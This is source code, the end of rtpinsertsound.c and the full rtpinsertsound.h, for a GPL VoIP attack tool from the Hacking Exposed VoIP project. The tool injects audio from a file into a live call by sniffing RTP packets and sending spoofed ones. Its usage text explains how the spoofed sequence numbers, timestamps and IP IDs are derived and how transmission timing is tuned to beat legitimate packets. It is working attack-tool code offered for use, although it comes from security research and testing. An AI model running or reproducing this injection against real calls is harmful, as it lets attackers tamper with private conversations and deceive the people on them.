2267 ip_addr_union.ip_addr = ip_hdr->ip_src.s_addr;
2268
2269 sprintf( ip_addr_dotted, "%hu.%hu.%hu.%hu",
2270 ip_addr_union.ip_bytes[0],
2271 ip_addr_union.ip_bytes[1],
2272 ip_addr_union.ip_bytes[2],
2273 ip_addr_union.ip_bytes[3] );
2274
2275 printf ( "source IP: %s\n", ip_addr_dotted );
2276
2277 ip_addr_dotted[0] = '\0'; // initialize workspace string to NUL string
2278
2279 ip_addr_union.ip_addr = ip_hdr->ip_dst.s_addr;
2280
2281 sprintf( ip_addr_dotted, "%hu.%hu.%hu.%hu",
2282 ip_addr_union.ip_bytes[0],
2283 ip_addr_union.ip_bytes[1],
2284 ip_addr_union.ip_bytes[2],
2285 ip_addr_union.ip_bytes[3] );
2286
2287 printf ( "destination IP: %s\n\n", ip_addr_dotted );
2288
2289 //
2290 // Print some of the UDP header content
2291 //
2292
2293 udp_hdr = ( struct libnet_udp_hdr * )
2294 ( packet + LIBNET_ETH_H + LIBNET_IPV4_H );
2295
2296 printf ( "source port: %u\n",
2297 ntohs ( udp_hdr->uh_sport ) );
2298
2299 printf ( "destination port: %u\n\n",
2300 ntohs ( udp_hdr->uh_dport ) );
2301
2302 printf ( "UDP packet length: %u\n\n",
2303 ntohs ( udp_hdr->uh_ulen ) );
2304
2305 rtp_hdr = ( struct rfc1889_rtp_hdr * )
2306 ( packet + LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H );
2307
2308 printf ( "RTP message length: %u\n",
2309 ntohs ( udp_hdr->uh_ulen ) - LIBNET_UDP_H );
2310
2311 printf ( "Size of RTP Header: %u\n", sizeof( struct rfc1889_rtp_hdr ) );
2312
2313 //
2314 // Print RTP header content
2315 //
2316
2317 /*
2318 printf ( "RTP Header Dump:\n");
2319
2320 const u_char *rtp_hdr_bytes;
2321
2322 rtp_hdr_bytes = packet + LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H;
2323
2324 printf ( "%02x %02x %02x %02x\n"
2325 "%02x %02x %02x %02x\n"
2326 "%02x %02x %02x %02x\n",
2327 rtp_hdr_bytes[0],
2328 rtp_hdr_bytes[1],
2329 rtp_hdr_bytes[2],
2330 rtp_hdr_bytes[3],
2331 rtp_hdr_bytes[4],
2332 rtp_hdr_bytes[5],
2333 rtp_hdr_bytes[6],
2334 rtp_hdr_bytes[7],
2335 rtp_hdr_bytes[8],
2336 rtp_hdr_bytes[9],
2337 rtp_hdr_bytes[10],
2338 rtp_hdr_bytes[11] );
2339 */
2340
2341 printf ( "RTP Version: %u\n", rtp_hdr->version );
2342
2343 printf ( "RTP Packet Padded?: %s\n",
2344 ( rtp_hdr->bPaddingIncluded == 0 )? "no":"yes" );
2345
2346 printf ( "RTP Packet Fixed Hdr Followed by Extension Hdr?: %s\n",
2347 ( rtp_hdr->bExtensionIncluded == 0 )? "no":"yes" );
2348
2349 printf ( "RTP Packet CSRC Count: %u\n", rtp_hdr->cc );
2350
2351 printf ( "RTP Packet Marked?: %s\n",
2352 ( rtp_hdr->bMarker == 0 )? "no":"yes" );
2353
2354 printf ( "RTP Packet Payload Type: %u\n", rtp_hdr->payloadType );
2355
2356 printf ( "RTP Packet Sequence #: %u\n",
2357 ntohs ( rtp_hdr->sequenceNumber ) );
2358
2359 printf ( "RTP Packet Timestamp: %u\n",
2360 ntohl ( rtp_hdr->timestamp ) );
2361
2362 printf ( "RTP Packet SSRC: %u\n",
2363 ntohl ( rtp_hdr->ssrc ) );
2364
2365 printf ( "\n-----------------\n\n");
2366
2367
2368 } // end decodeAndPrintRTPMsg
2369
2370
2371 //-----------------------------------------------------------------------------
2372 //
2373 // catch_signals ( int signo )
2374 //
2375 // signal catcher and handler
2376 //
2377 //-----------------------------------------------------------------------------
2378
2379 void catch_signals ( int signo ) {
2380 switch ( signo ) {
2381 case SIGINT:
2382 case SIGTERM: {
2383 printf ( "\nexiting...\n" );
2384 CleanupAndExit ( EXIT_SUCCESS );
2385 }
2386 }
2387 } // end catch_signals
2388
2389 //-----------------------------------------------------------------------------
2390 //
2391 // CleanupAndExit ( int status )
2392 //
2393 // Clean up and exit.
2394 //
2395 //-----------------------------------------------------------------------------
2396
2397 void CleanupAndExit ( int status ) {
2398
2399 if ( h_pcap_live_rtp ) {
2400 if ( bVerbose ) {
2401 printf ( "\nclosing live pcap interface\n" );
2402 }
2403 pcap_close ( h_pcap_live_rtp );
2404 h_pcap_live_rtp = NULL;
2405 }
2406
2407 if ( l ) {
2408 if ( bVerbose ) {
2409 printf ( "\ndestroying libnet handle\n" );
2410 }
2411 libnet_destroy ( l );
2412 l = NULL;
2413 }
2414
2415 if ( sockfd > 0 ) {
2416 if ( bVerbose ) {
2417 printf ( "\nclosing socket used to obtain device MAC addr\n" );
2418 }
2419 close( sockfd );
2420 sockfd = 0;
2421 }
2422
2423 printf ( "\n" );
2424
2425 exit ( status );
2426 } // End CleanupAndExit
2427
2428 //-------------------------------------------------------------------------------
2429 //
2430 // usage ( int status )
2431 //
2432 // Display command line usage.
2433 //
2434 //-------------------------------------------------------------------------------
2435
2436 void usage ( int status ) {
2437 printf ( "\n%s", __RTPINSERTSOUND_VERSION );
2438 printf ( "\n%s", __RTPINSERTSOUND_DATE );
2439 printf ( "\n Usage:" );
2440 printf ( "\n Mandatory -" );
2441 printf ( "\n\tpathname of file whose audio is to be mixed into the" );
2442 printf ( "\n\t targeted live audio stream. If the file extension is" );
2443 printf ( "\n\t .wav, then the file must be a standard Microsoft" );
2444 printf ( "\n\t RIFF formatted WAVE file meeting these constraints:" );
2445 printf ( "\n\t 1) header 'chunks' must be in one of two sequences:" );
2446 printf ( "\n\t RIFF, fmt, fact, data" );
2447 printf ( "\n\t or" );
2448 printf ( "\n\t RIFF, fmt, data" );
2449 printf ( "\n\t 2) Compression Code = 1 (PCM/Uncompressed)" );
2450 printf ( "\n\t 3) Number of Channels = 1 (mono)" );
2451 printf ( "\n\t 4) Sample Rate (Hz) = 8000" );
2452 printf ( "\n\t 5) Significant Bits/Sample =" );
2453 printf ( "\n\t signed, linear 16-bit or" );
2454 printf ( "\n\t unsigned, linear 8-bit" );
2455 printf ( "\n\t If the file name does not specify a .wav extension," );
2456 printf ( "\n\t then the file is presumed to be a tcpdump formatted" );
2457 printf ( "\n\t file with a sequence of, exclusively, G.711 u-law" );
2458 printf ( "\n\t RTP/UDP/IP/ETHERNET messages" );
2459 printf ( "\n\t Note: Yep, the format is referred to as 'tcpdump'" );
2460 printf ( "\n\t even though this file must contain udp messages" );
2461 printf ( "\n Optional -" );
2462 printf ( "\n\t-a source RTP IPv4 addr" );
2463 printf ( "\n\t-A source RTP port" );
2464 printf ( "\n\t-b destination RTP IPv4 addr" );
2465 printf ( "\n\t-B destination RTP port" );
2466 printf ( "\n\t-f spoof factor - amount by which to:" );
2467 printf ( "\n\t a) increment the RTP hdr sequence number obtained" );
2468 printf ( "\n\t from the ith legitimate packet to produce the" );
2469 printf ( "\n\t RTP hdr sequence number for the ith spoofed packet" );
2470 printf ( "\n\t b) multiply the RTP payload length and add that" );
2471 printf ( "\n\t product to the RTP hdr timestamp obtained from" );
2472 printf ( "\n\t the ith legitimate packet to produce the RTP hdr" );
2473 printf ( "\n\t timestamp for the ith spoofed packet" );
2474 printf ( "\n\t c) increment the IP hdr ID number obtained from the" );
2475 printf ( "\n\t ith legitimate packet to produce the IP hdr ID" );
2476 printf ( "\n\t number for the ith spoofed packet" );
2477 printf ( "\n\t [ range: +/- 1000, default: 2 ]" );
2478 printf ( "\n\t-i interface (e.g. eth0)" );
2479 printf ( "\n\t-j jitter factor - the reception of a legitimate RTP" );
2480 printf ( "\n\t packet in the target audio stream enables the output" );
2481 printf ( "\n\t of the next spoofed packet. This factor determines" );
2482 printf ( "\n\t when that spoofed packet is actually transmitted." );
2483 printf ( "\n\t The factor relates how close to the next legitimate" );
2484 printf ( "\n\t packet you'd actually like the enabled spoofed packet" );
2485 printf ( "\n\t to be transmitted. For example, -j 10 means 10%% of" );
2486 printf ( "\n\t the codec's transmission interval. If the transmission");
2487 printf ( "\n\t interval = 20,000 usec (i.e. G.711), then delay the" );
2488 printf ( "\n\t output of the spoofed RTP packet until the time-of-day");
2489 printf ( "\n\t is within 2000 usec (i.e. 10%%) of the time the next" );
2490 printf ( "\n\t legitimate RTP packet is expected. In other words," );
2491 printf ( "\n\t delay 100%% minus the jitter factor, or 18,000 usec" );
2492 printf ( "\n\t in this example. The smaller the jitter factor, the" );
2493 printf ( "\n\t greater the risk you run of not outputting the current");
2494 printf ( "\n\t spoofed packet before the next legitimate RTP packet" );
2495 printf ( "\n\t is received. Therefore, a factor > 10 is advised." );
2496 printf ( "\n\t [ range: 0 - 80, default: 80 = output spoof ASAP ]" );
2497 printf ( "\n\t-p seconds to pause between setup and injection" );
2498 printf ( "\n\t-h help - print this usage" );
2499 printf ( "\n\t-v verbose output mode" );
2500 printf ( "\n" );
2501 printf ( "\nNote: If you are running the tool from a host with multiple" );
2502 printf ( "\n ethernet interfaces which are up, be forewarned that" );
2503 printf ( "\n the order those interfaces appear in your route table" );
2504 printf ( "\n and the networks accessible from those interfaces might");
2505 printf ( "\n compel Linux to output spoofed audio packets to an" );
2506 printf ( "\n interface different than the one stipulated by you on" );
2507 printf ( "\n command line. This should not affect the tool unless" );
2508 printf ( "\n those spoofed packets arrive back at the host through" );
2509 printf ( "\n the interface you have specified on the command line" );
2510 printf ( "\n (e.g. the interfaces have connectivity through a hub)." );
2511 printf ( "\n" );
2512
2513 exit ( status );
2514 }
2515
0 //-------------------------------------------------------------------------------
1 //
2 // rtpinsertsound.h - Command line tool to insert the
3 // content of a sound (i.e. audio) file into a call.
4 //
5 // Please refer to rtpinsertsound.c for an
6 // overview of the functionality of the tool.
7 //
8 // Copyright (C) 2006 Mark D. Collier/Mark O'Brien
9 //
10 // This program is free software; you can redistribute it and/or modify
11 // it under the terms of the GNU General Public License as published by
12 // the Free Software Foundation; either version 2 of the License, or
13 // (at your option) any later version.
14 //
15 // This program is distributed in the hope that it will be useful,
16 // but WITHOUT ANY WARRANTY; without even the implied warranty of
17 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 // GNU General Public License for more details.
19 //
20 // You should have received a copy of the GNU General Public License
21 // along with this program; if not, write to the Free Software
22 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
23 //
24 // Authors:
25 // v3.0 : 01/03/2007
26 // Mark D. Collier <[email protected]>, SecureLogix
27 // Mark O'Brien, SecureLogix
28 // Dustin D. Trammell <[email protected]>, TippingPoint
29 // v2.0 : 10/10/2006
30 // v1.0 : 08/14/2006
31 // Mark D. Collier <[email protected]>, SecureLogix
32 // Mark O'Brien, SecureLogix
33 //
34 // SecureLogix: http://www.securelogix.com
35 // TippingPoint: http://www.tippingpoint.com
36 // Hacking Exposed VoIP: http://www.hackingexposedvoip.com
37 //
38 //-------------------------------------------------------------------------------
39
40 #ifndef __RTPINSERTSOUND_H
41 #define __RTPINSERTSOUND_H
42
43 #include <stdio.h>
44 #include <stdlib.h>
45 #include <string.h>
46 #include <libnet.h>
47 #include <pcap.h>
48 #include <signal.h>
49 #include <stdbool.h>
50 #include <sys/time.h>
51 #include <sys/resource.h>
52 #include <sched.h>
53 #include <sys/socket.h>
54 #include <sys/ioctl.h>
55 #include <netinet/in.h>
56 #include <net/if.h>
57 #include <unistd.h>
58
59 #define __RTPINSERTSOUND_VERSION "rtpinsertsound - Version 2.0"
60 #define __RTPINSERTSOUND_DATE " October 10, 2006"
61
62 #define __RTPINSERTSOUND_PROMISCOUS_MODE 1
63
64 #define __RTPINSERTSOUND_LIBNET_IP 3
65 #define __RTPINSERTSOUND_LIBNET_ETHERNET 2
66
67 #define __RTPINSERTSOUND_LIBNET_PROTOCOL_LAYER __RTPINSERTSOUND_LIBNET_IP
68
69 #define __RTPINSERTSOUND_G711_PAYLOAD_TYPE 0
70
71 #define __RTPINSERTSOUND_G711_PAYLOAD_LEN 160
72
73 #define __RTPINSERTSOUND_G711_CODEC_RATE_HZ 50
74
75 #define __RTPINSERTSOUND_G711_CODEC_INTERVAL_USEC 20000
76
77 #define __RTPINSERTSOUND_G711_AUDIO_TO_INSERT_SEC 30
78
79 #define __RTPINSERTSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_INSERT __RTPINSERTSOUND_G711_CODEC_RATE_HZ * __RTPINSERTSOUND_G711_AUDIO_TO_INSERT_SEC
80
81 #define __RTPINSERTSOUND_PCM_UNCOMPRESSED_COMPRESSION_CODE 1
82
83 char libnet_errbuf [LIBNET_ERRBUF_SIZE];
84
85 int opt;
86 int optind;
87 int deltaTSec;
88 int deltaTUsec;
89 int sockfd = 0;
90 int rc = 0;
91
92 unsigned int jitterDelayUsec = 0;
93 unsigned int jitterProximityUsec = 0;
94
95 //unsigned int numPackets = 0;
96
97 bool bVerbose = false;
98
99 const u_char *packet = NULL;
100
101 pcap_t *h_pcap_live_rtp = NULL; // libpcap "handle"
102
103 struct pcap_pkthdr *ppcap_pkthdr = NULL;
104 struct pcap_pkthdr pcap_header;
105
106 struct libnet_ethernet_hdr *eth_hdr = NULL;
107 struct libnet_ipv4_hdr *ip_hdr = NULL;
108 struct libnet_udp_hdr *udp_hdr = NULL;
109
110 struct rfc1889_rtp_hdr {
111
112 // byte 0 - uppermost byte of header
113 // bit fields are defined starting from rightmost bits and
114 // encountering higher order bits as you proceed down the page.
115 // for example: cc occupies the low-order 4 bits of the byte.
116
117 unsigned int cc : 4; // CSRC Count (i.e. # of CSRC hdrs following fixed hdr)
118 unsigned int bExtensionIncluded : 1; // if RTP hdr includes 1 extension hdr
119 unsigned int bPaddingIncluded : 1; // if the RTP payload is padded
120 unsigned int version : 2; // should always equal version 2
121
122 // byte 1
123 // bits are defined from rightmost bits first and leftmost bits as you proceed down the page
124
125 unsigned int payloadType : 7;
126 unsigned int bMarker : 1; // Mark
127
128 // bytes 3 & 2 (i.e. network order)
129
130 unsigned short sequenceNumber; // Should inc by 1.
131
132 // bytes 7, 6, 5, 4 (i.e. network order)
133
134 unsigned int timestamp; // For G.711 should inc by 160.
135
136 // bytes 11, 10, 9, 8 (i.e. network order)
137
138 unsigned int ssrc; // Synchronization Source - fixed for a stream
139 };
140
141 struct rfc1889_rtp_hdr *rtp_hdr = NULL;
142
143 unsigned int offset_to_ip_hdr = LIBNET_ETH_H;
144 unsigned int offset_to_udp_hdr = LIBNET_ETH_H + LIBNET_IPV4_H;
145 unsigned int offset_to_rtp_msg = LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H;
146 unsigned int offset_to_rtp_payload =
147 LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H +
148 sizeof ( struct rfc1889_rtp_hdr );
149
150 unsigned int g711_rtp_msg_len = __RTPINSERTSOUND_G711_PAYLOAD_LEN +
151 sizeof ( struct rfc1889_rtp_hdr );
152
153 struct bpf_program compiled_pcap_filter;
154
155 libnet_t *l = NULL;
156
157 libnet_ptag_t udp_tag = 0;
158 libnet_ptag_t ip_tag = 0;
159 libnet_ptag_t ether_tag = 0;
160
161 struct timeval time_of_day;
162
163 struct ifreq ifreq;
164 unsigned char deviceMAC[IFHWADDRLEN];
165
166 //
167 // Each PCMU value is an 8-bit, non-linear, unsigned datum
168 //
169
170 typedef struct pcmu {
171 unsigned char pcmu_value[ __RTPINSERTSOUND_G711_PAYLOAD_LEN ];
172 } pcmuG711;
173
174 struct pcmu pcmuSamplesToInsert[ __RTPINSERTSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_INSERT ];
175
176 typedef struct rtp_msg {
177 struct rfc1889_rtp_hdr rtp_hdr;
178 unsigned char rtp_payload[ __RTPINSERTSOUND_G711_PAYLOAD_LEN ];
179 } rtpG711Msg;
180
181 bool preloadWavAudio ( char *psInputAudioFile,
182 struct pcmu pcmuSamplesToInsert[],
183 unsigned int *numG711PacketEquivalents );
184
185 bool preloadTCPdumpAudio ( char *psInputAudioFile,
186 struct pcmu pcmuSamplesToInsert[],
187 unsigned int *numG711PacketEquivalents );
188
189 void delayTransmitOfSpoofedPacket ( unsigned int codecIntervalUsec );
190 void decodeAndPrintRTPMsg( const u_char *packet );
191 void catch_signals ( int signo );
192 void CleanupAndExit ( int status );
193 void usage ( int status );
194
195 #endif // __RTPINSERTSOUND_H